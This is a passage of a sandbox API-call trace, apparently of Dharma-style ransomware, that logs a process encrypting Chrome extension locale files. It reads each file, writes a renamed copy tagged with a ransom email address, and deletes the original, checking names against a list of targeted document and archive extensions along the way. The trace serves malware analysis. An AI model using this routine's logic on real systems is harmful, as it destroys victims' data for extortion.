data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.197] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.197] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.197] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.198] GetLastError () returned 0x0 [0175.198] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xf5, lpOverlapped=0x0) returned 1 [0175.199] WriteFile (in: hFile=0x1b4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x100, lpOverlapped=0x0) returned 1 [0175.200] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.200] WriteFile (in: hFile=0x1b4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.200] SetEndOfFile (hFile=0x1b4) returned 1 [0175.200] CloseHandle (hObject=0x1b4) returned 1 [0175.200] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.200] SetEndOfFile (hFile=0x1ac) returned 1 [0175.201] CloseHandle (hObject=0x1ac) returned 1 [0175.201] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.201] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json")) returned 1 [0175.201] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json") returned 151 [0175.201] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json") returned 151 [0175.201] lstrlenW (lpString=".doc") returned 4 [0175.201] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.201] lstrlenW (lpString=".docx") returned 5 [0175.202] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.202] lstrlenW (lpString=".pdf") returned 4 [0175.202] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.202] lstrlenW (lpString=".xls") returned 4 [0175.202] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.202] lstrlenW (lpString=".xlsx") returned 5 [0175.202] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.202] lstrlenW (lpString=".ppt") returned 4 [0175.202] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.202] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json") returned 151 [0175.202] lstrlenW (lpString=".zip") returned 4 [0175.202] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.202] lstrlenW (lpString=".rar") returned 4 [0175.202] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.202] lstrlenW (lpString=".bz2") returned 4 [0175.202] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.202] lstrlenW (lpString=".7z") returned 3 [0175.202] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.202] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json") returned 151 [0175.202] lstrlenW (lpString=".dbf") returned 4 [0175.202] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.202] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json") returned 151 [0175.202] lstrlenW (lpString=".1cd") returned 4 [0175.202] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.202] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json") returned 151 [0175.202] lstrlenW (lpString=".jpg") returned 4 [0175.202] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.202] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json") returned 151 [0175.202] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json") returned 151 [0175.202] lstrlenW (lpString=".doc") returned 4 [0175.203] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.203] lstrlenW (lpString=".docx") returned 5 [0175.203] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.203] lstrlenW (lpString=".pdf") returned 4 [0175.203] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.203] lstrlenW (lpString=".xls") returned 4 [0175.203] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.203] lstrlenW (lpString=".xlsx") returned 5 [0175.203] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.203] lstrlenW (lpString=".ppt") returned 4 [0175.203] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.203] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json") returned 151 [0175.203] lstrlenW (lpString=".zip") returned 4 [0175.203] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.203] lstrlenW (lpString=".rar") returned 4 [0175.203] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.203] lstrlenW (lpString=".bz2") returned 4 [0175.203] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.203] lstrlenW (lpString=".7z") returned 3 [0175.203] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.203] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json") returned 151 [0175.203] lstrlenW (lpString=".dbf") returned 4 [0175.203] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.203] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json") returned 151 [0175.203] lstrlenW (lpString=".1cd") returned 4 [0175.203] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.203] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json") returned 151 [0175.203] lstrlenW (lpString=".jpg") returned 4 [0175.203] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.204] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.204] lstrlenW (lpString="messages.json") returned 13 [0175.204] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.204] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=224) returned 1 [0175.204] CloseHandle (hObject=0x1ac) returned 1 [0175.204] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json")) returned 0x2020 [0175.204] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.204] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.205] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.205] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.205] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.205] GetLastError () returned 0x0 [0175.205] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xe0, lpOverlapped=0x0) returned 1 [0175.206] WriteFile (in: hFile=0x1b4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0175.207] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.207] WriteFile (in: hFile=0x1b4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.207] SetEndOfFile (hFile=0x1b4) returned 1 [0175.207] CloseHandle (hObject=0x1b4) returned 1 [0175.207] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.207] SetEndOfFile (hFile=0x1ac) returned 1 [0175.208] CloseHandle (hObject=0x1ac) returned 1 [0175.208] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.208] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json")) returned 1 [0175.208] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json") returned 151 [0175.209] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json") returned 151 [0175.209] lstrlenW (lpString=".doc") returned 4 [0175.209] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.209] lstrlenW (lpString=".docx") returned 5 [0175.209] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.209] lstrlenW (lpString=".pdf") returned 4 [0175.209] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.209] lstrlenW (lpString=".xls") returned 4 [0175.209] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.209] lstrlenW (lpString=".xlsx") returned 5 [0175.209] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.209] lstrlenW (lpString=".ppt") returned 4 [0175.209] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.209] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json") returned 151 [0175.209] lstrlenW (lpString=".zip") returned 4 [0175.209] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.209] lstrlenW (lpString=".rar") returned 4 [0175.209] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.209] lstrlenW (lpString=".bz2") returned 4 [0175.209] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.209] lstrlenW (lpString=".7z") returned 3 [0175.209] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.209] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json") returned 151 [0175.209] lstrlenW (lpString=".dbf") returned 4 [0175.209] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.209] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json") returned 151 [0175.209] lstrlenW (lpString=".1cd") returned 4 [0175.209] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.209] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json") returned 151 [0175.209] lstrlenW (lpString=".jpg") returned 4 [0175.209] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.210] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json") returned 151 [0175.210] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json") returned 151 [0175.210] lstrlenW (lpString=".doc") returned 4 [0175.210] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.210] lstrlenW (lpString=".docx") returned 5 [0175.210] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.210] lstrlenW (lpString=".pdf") returned 4 [0175.210] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.210] lstrlenW (lpString=".xls") returned 4 [0175.210] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.210] lstrlenW (lpString=".xlsx") returned 5 [0175.210] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.210] lstrlenW (lpString=".ppt") returned 4 [0175.210] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.210] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json") returned 151 [0175.210] lstrlenW (lpString=".zip") returned 4 [0175.210] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.210] lstrlenW (lpString=".rar") returned 4 [0175.210] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.210] lstrlenW (lpString=".bz2") returned 4 [0175.210] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.210] lstrlenW (lpString=".7z") returned 3 [0175.210] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.210] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json") returned 151 [0175.210] lstrlenW (lpString=".dbf") returned 4 [0175.210] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.210] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json") returned 151 [0175.366] lstrlenW (lpString=".1cd") returned 4 [0175.367] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.367] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json") returned 151 [0175.367] lstrlenW (lpString=".jpg") returned 4 [0175.367] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.367] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.367] lstrlenW (lpString="messages.json") returned 13 [0175.367] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.367] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=216) returned 1 [0175.367] CloseHandle (hObject=0x19c) returned 1 [0175.367] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json")) returned 0x2020 [0175.368] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.368] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.368] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.368] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.368] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.368] GetLastError () returned 0x0 [0175.368] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xd8, lpOverlapped=0x0) returned 1 [0175.369] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0175.370] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.370] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.370] SetEndOfFile (hFile=0x2dc) returned 1 [0175.370] CloseHandle (hObject=0x2dc) returned 1 [0175.371] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.371] SetEndOfFile (hFile=0x19c) returned 1 [0175.378] CloseHandle (hObject=0x19c) returned 1 [0175.378] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.378] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json")) returned 1 [0175.378] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json") returned 151 [0175.378] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json") returned 151 